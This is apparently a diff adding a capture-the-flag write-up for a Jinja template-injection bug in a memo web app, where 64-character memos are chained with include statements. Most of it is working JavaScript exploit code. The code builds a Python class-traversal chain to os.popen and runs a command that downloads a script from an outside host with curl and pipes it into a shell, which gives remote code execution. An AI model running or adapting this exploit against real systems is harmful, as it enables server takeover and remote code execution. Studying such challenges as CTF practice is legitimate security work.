|
| 1 | +- The memo body allows for control statements (eg `{% %}`) to be injected https://jinja.palletsprojects.com/en/3.1.x/templates/#list-of-control-structures |
| 2 | +- The memo body only allows 64 characters, but they can be combined by creating a variable then using `include` to extend it |
| 3 | +- An RCE payload can then be built up similar to https://secure-cookie.io/attacks/ssti/ |
| 4 | + |
| 5 | +```javascript |
| 6 | +async function memo(userid, password, memo) { |
| 7 | + const resp = await fetch("/memo/", { |
| 8 | + method: "POST", |
| 9 | + headers: { "Content-Type": "application/json" }, |
| 10 | + body: JSON.stringify({ userid, password, memo }), |
| 11 | + }); |
| 12 | + return await resp.json(); |
| 13 | +} |
| 14 | + |
| 15 | +async function ggg(payload, inc = true) { |
| 16 | + await memo( |
| 17 | + `vak${(i++).toString().padStart(2, "0")}`, |
| 18 | + "super_secret", |
| 19 | + `{%endraw%}{%${payload}%}{%include"vak${i |
| 20 | + .toString() |
| 21 | + .padStart(2, "0")}.html"%}{%raw%}` |
| 22 | + ); |
| 23 | +} |
| 24 | + |
| 25 | +var i = 1; |
| 26 | +var idx = 100; // remote |
| 27 | +// var idx = 81; // local |
| 28 | + |
| 29 | +await memo( |
| 30 | + "vakzz", |
| 31 | + "super_secret1", |
| 32 | + `{%endraw%}{%include"vak01.html"%}{%raw%}` |
| 33 | +); |
| 34 | +await ggg(`set a="".__class__`); |
| 35 | +await ggg(`set a=a.__base__`); |
| 36 | +await ggg(`set b='__subcl'`); |
| 37 | +await ggg(`set b=b+'asses__'`); |
| 38 | +await ggg(`set a=a[b]()[${idx}]`); |
| 39 | +await ggg(`set a=a.__init__`); |
| 40 | +await ggg(`set a=a.__globals__`); |
| 41 | +await ggg(`set a=a['sys']`); |
| 42 | +await ggg(`set a=a.modules`); |
| 43 | +await ggg(`set a=a['os']`); |
| 44 | +await ggg(`set a=a.popen`); |
| 45 | +await ggg(`set c='curl aw'`); |
| 46 | +await ggg(`set c=c+'.rs/psh|sh'`); |
| 47 | +await ggg(`set a=a(c)`); |
| 48 | +await ggg(`set a=a.read()`); |
| 49 | +await memo( |
| 50 | + `vak${(i++).toString().padStart(2, "0")}`, |
| 51 | + "super_secret", |
| 52 | + `{%endraw%}done{%raw%}` |
| 53 | +); |
| 54 | +await (await fetch("/memo/vakzz/super_secret1")).text(); |
| 55 | +``` |
0 commit comments